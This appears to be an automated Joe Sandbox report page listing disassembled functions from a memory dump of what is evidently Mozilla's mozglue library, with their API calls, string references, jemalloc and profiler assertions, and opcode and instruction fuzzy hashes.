Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 644ee04db13f390305f84116e9a9e861a19d82c1ac921662fc5fc80518654755
Instruction ID: 24657373f6d4a6fd604218f9576cbd38064bd898dfc52ed130d958203fbea57e
Opcode Fuzzy Hash: 644ee04db13f390305f84116e9a9e861a19d82c1ac921662fc5fc80518654755
Instruction Fuzzy Hash: 79326D746083818FD324CF64C490F9EBBE2AFD9318F54881DE59987755EB30E94ACB92

Function 6C497E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C4981E3, 6C498311
data, xrefs: 6C498280, 6C4983E1
name, xrefs: 6C497ECF, 6C498335
vMl, xrefs: 6C498207
(pre-xul), xrefs: 6C497E88

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vMl
API String ID: 3412268980-3601864216
Opcode ID: 2a8fee06bf60f4a80d9660306061bc56682f650d3081ae6838ef68cf4d8d7836
Instruction ID: 7a18601576094ac98b1b2e2475f0468a6679e90fcfe0d06121a33b495d3fb4e4
Opcode Fuzzy Hash: 2a8fee06bf60f4a80d9660306061bc56682f650d3081ae6838ef68cf4d8d7836
Instruction Fuzzy Hash: EFE17FB1B043508BD714CF698840E5BFBE9BBC5318F15492DE899E7B90DB70ED098B92

Function 6C4B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C4B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C4B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QEl,?), ref: 6C4B6046
OutputDebugStringA.KERNEL32(?,QEl,?), ref: 6C4B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C4B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C4B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C4B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C4D148E), ref: 6C4B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QEl,00000000,?), ref: 6C4B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C4B60C4

Strings

QEl, xrefs: 6C4B5FFC, 6C4B6042, 6C4B6045, 6C4B60B3

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QEl
API String ID: 3835517998-2634649411
Opcode ID: 975de7461083e49fea02c89da971bc0883f451bc121777bb310fb64510b94890
Instruction ID: ced40780cd87692e99247bf57b8e58418780e625923428b91363541548856cc5
Opcode Fuzzy Hash: 975de7461083e49fea02c89da971bc0883f451bc121777bb310fb64510b94890
Instruction Fuzzy Hash: 4E219171A002089BDB10FF259C49FAA7BB8FF45619F00842CE85AE7240CB74A559CFE2

Function 6C475E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2
memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C4761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C477652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4772F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4772E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C477BCD, 6C477C1F, 6C477C34, 6C4780FD
ewKl, xrefs: 6C475E9C, 6C475F22, 6C4761ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C47730D
MOZ_CRASH(), xrefs: 6C477BA4

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewKl
API String ID: 2613674957-3048668682
Opcode ID: 4f1fd38661bc8cf2cda4b065c5a1d4ecb114ecbccedc27653c2ae1ddec5255f5
Instruction ID: 4e50895704addaf117753950464e5a3601331bd8b709f678029562a3bd5cec99
Opcode Fuzzy Hash: 4f1fd38661bc8cf2cda4b065c5a1d4ecb114ecbccedc27653c2ae1ddec5255f5
Instruction Fuzzy Hash: 0B33AD716097018FC325CF28C590E95BBE2FF85328F29C6ADE9698B7A5C731E841CB51

Function 6C4A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

Ml, xrefs: 6C4A4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C4A4CAF
schema, xrefs: 6C4A48C1
data, xrefs: 6C4A49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C4A4D65
-%llu, xrefs: 6C4A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C4A4DB8, 6C4A4DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C4A4D0A
ProfileBuffer parse error: %s, xrefs: 6C4A4DD9

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free
String ID: Ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-498563427
Opcode ID: 67772bbbf3d52475ed8fc3f839856f185572aa3f69280efe187a604d978d68ff
Instruction ID: 45133b17045ce6a1fa527dab6b06b302fbc421b6b157c90d4cb5fb23945d6670
Opcode Fuzzy Hash: 67772bbbf3d52475ed8fc3f839856f185572aa3f69280efe187a604d978d68ff
Instruction Fuzzy Hash: 96722E75918B858BD322CF34C451B9BF7E5BFDA344F108B1DE48A6B610EB70A486DB42

Function 6C47D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D4F2
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D50B

Part of subcall function 6C45CFE0: EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C45CFF6
Part of subcall function 6C45CFE0: LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C45D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D52E
EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C47D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47D6A6
LeaveCriticalSection.KERNEL32(6C4DE7DC), ref: 6C47D712
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C47D82C
<jemalloc>, xrefs: 6C47D827

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: bd8f67fd9a8957d8ac64991ad58d6b40187d31f4307cfd39fd8cd025bbfa8f72
Instruction ID: bd915c3b225a49bf054266449e20a0b9f00f07d4369f08f40bd8fac827c078db
Opcode Fuzzy Hash: bd8f67fd9a8957d8ac64991ad58d6b40187d31f4307cfd39fd8cd025bbfa8f72
Instruction Fuzzy Hash: D391E371A147018FD764DF28C490FAAB7E1EB89314F15892EE59AC7B80D730F845CBA2

Function 6C4B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C4B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B4F2E
moz_xmalloc.MOZGLUE ref: 6C4B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C4B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B52E6
Sleep.KERNEL32(00000010), ref: 6C4B5481
free.MOZGLUE(?), ref: 6C4B5498

Strings

(, xrefs: 6C4B5250

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: dc776c98c2626b9dba69589ee58cc97c8918579e5322d48f2f95668114f4e448
Instruction ID: 1064b9db60e2daba2bdcff5f25073dbbdce2b6b3a93dfa67153373ddaa7ea4b4
Opcode Fuzzy Hash: dc776c98c2626b9dba69589ee58cc97c8918579e5322d48f2f95668114f4e448
Instruction Fuzzy Hash: 17F1F371A19B008FD716EF38C850A2BB7F5AFD6294F058B2EF846A7651DB31D442CB81

Function 6C479E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C479EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C479F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C479F34
LeaveCriticalSection.KERNEL32(?), ref: 6C47A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C47A8B1, 6C47A8D4, 6C47A8EF

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: c281192c190091905a32dd1b61210a810290865af602524ade5465acc73b9287
Instruction ID: eb52d03509b7c77f05021fd1525f88d030e28c7b18c1a1315dc966b79a503752
Opcode Fuzzy Hash: c281192c190091905a32dd1b61210a810290865af602524ade5465acc73b9287
Instruction Fuzzy Hash: EC726B72A056118FD324CF28C540E55FBE1BF89328F2AC66DE8699B791D335E842CB91

Function 6C4A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C4A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C4A2C61

Part of subcall function 6C454DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C454E5A
Part of subcall function 6C454DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C454E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C4A2E2D

Part of subcall function 6C4681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4681DE

Strings

(root), xrefs: 6C4A354F
expected a Time entry, xrefs: 6C4A2E36
ProfileBuffer parse error: %s, xrefs: 6C4A2E3B

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 73c10a0e2eade4ef558c0cd4a54cc661af99e7af632d86fdf3b88d3a631d268a
Instruction ID: acd51027c69749f1e6c8b972efabb5d8eee1575fb9acc106c58eed694059ff8b
Opcode Fuzzy Hash: 73c10a0e2eade4ef558c0cd4a54cc661af99e7af632d86fdf3b88d3a631d268a
Instruction Fuzzy Hash: 4F91DF706087408FC724DF65C490E9FFBE1AF99358F10491DE99A8B755EB30D94ACB82

Function 6C4B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C4B9F3D
__aulldiv.LIBCMT ref: 6C4B9F77
__aullrem.LIBCMT ref: 6C4B9F8C
__aulldiv.LIBCMT ref: 6C4BA023

Strings

-Infinity, xrefs: 6C4B9E60, 6C4B9E7B
NaN, xrefs: 6C4B9EAB

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 3696870dcd726cb3ee84ab6c8db9c0d8d445f0592c1933ebea1fa386af59f6d1
Instruction ID: fe58b15dd19130b2fa7753472cfb7a3debb29d612ec613f76a5171850f1e19b8
Opcode Fuzzy Hash: 3696870dcd726cb3ee84ab6c8db9c0d8d445f0592c1933ebea1fa386af59f6d1
Instruction Fuzzy Hash: DCC19E31E003198BDB14CFA9C890F9EB7B6AF94714F54452DD409BBB80DB71A94ACBE1

Function 6C45D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C45DE7F
@, xrefs: 6C45DAF6
8, xrefs: 6C45DC08
0, xrefs: 6C45D852
1, xrefs: 6C45DBDD
-, xrefs: 6C45D7DD
0, xrefs: 6C45DC7F
, xrefs: 6C45DA88

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e594c1af9d2a73a3239c580c2b2a0937a17c75e28a14c6d040ee1f17d7587fbc
Instruction ID: 74e40ef74902a4ee12fac6e05e4cc5054249cdfb92af93742f329ca7c1e5542d
Opcode Fuzzy Hash: e594c1af9d2a73a3239c580c2b2a0937a17c75e28a14c6d040ee1f17d7587fbc
Instruction Fuzzy Hash: A062DE7160C3458FD705CE18C290F5EBBF2AF86359F984A1DE4E54BB91C33598A6CB82

Function 6C4C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C4C8A4B

Strings

~qEl, xrefs: 6C4C56C7, 6C4C9459, 6C4C921F, 6C4C9269, 6C4C5703, 6C4C5740, 6C4C948F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memset
String ID: ~qEl
API String ID: 2221118986-916298983
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 8591e4a8be1a49ca0f3ccc7619b1b86ad49acb37e3f406f6a4800044f62a5245
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: B3B1C576F0121A8FDB14CF68CC90FA9B7B2EF95314F1802A9C549DB7A1D7309985CB91

Function 6C4C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C4C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C4C925C

Strings

~qEl, xrefs: 6C4C56C7, 6C4C9459, 6C4C921F, 6C4C9269, 6C4C5703, 6C4C5740, 6C4C948F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memset
String ID: ~qEl
API String ID: 2221118986-916298983
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: ca4e55aaa31a8f4241bf3a637755065f04e166162455e0c29b7b831e3d0935b8
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2CB1D576F0420A8FCB14CF58CC81EADB7B2AF94314F180269C549EB795D731A98ACB91

Function 6C4BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C4BC0E9), ref: 6C4BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C4BC437
FreeLibrary.KERNEL32(?,6C4BC0E9), ref: 6C4BC44C

Strings

ntdll.dll, xrefs: 6C4BC413
NtQueryVirtualMemory, xrefs: 6C4BC431

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 45da00938b01a6886bb349a687aab76545839a9f0c05a78582925db5381703d8
Instruction ID: 46dd24fab108254706dd81b3a0158a35885d736a56ad2570ab74a5bc4e6b5a0a
Opcode Fuzzy Hash: 45da00938b01a6886bb349a687aab76545839a9f0c05a78582925db5381703d8
Instruction Fuzzy Hash: 2AE0B674602742ABFF10FF72C918F127BF8A706646F044516BA0892710EBB4F140CB52

Function 6C469F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C46A824
0, xrefs: 6C46A100
' , xrefs: 6C46A3D8
0, xrefs: 6C46AB22
9, xrefs: 6C46A5D6
@, xrefs: 6C46A625

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 80f0359be735b0ec908cd4cc6d11315964d06daddd2f6ecef0893c205dd184db
Instruction ID: 342bbfe7f7e160e664377214e45be12e3e90c0d5678b951660f42c32b69655a6
Opcode Fuzzy Hash: 80f0359be735b0ec908cd4cc6d11315964d06daddd2f6ecef0893c205dd184db
Instruction Fuzzy Hash: 3E82C131509B318BD711CF0AC440E6AB7F1EF8175AF55892AE8D547F98D335E886CB82

Function 6C45BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C45C1CB
__aulldiv.LIBCMT ref: 6C45C24C
__aulldiv.LIBCMT ref: 6C45C348
__aullrem.LIBCMT ref: 6C45C365
__aulldiv.LIBCMT ref: 6C45C37D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 6b9ae9836778e0201e5e74b67d0e8e9b26fd91e2a4f41205fa75371f1c9ddc02
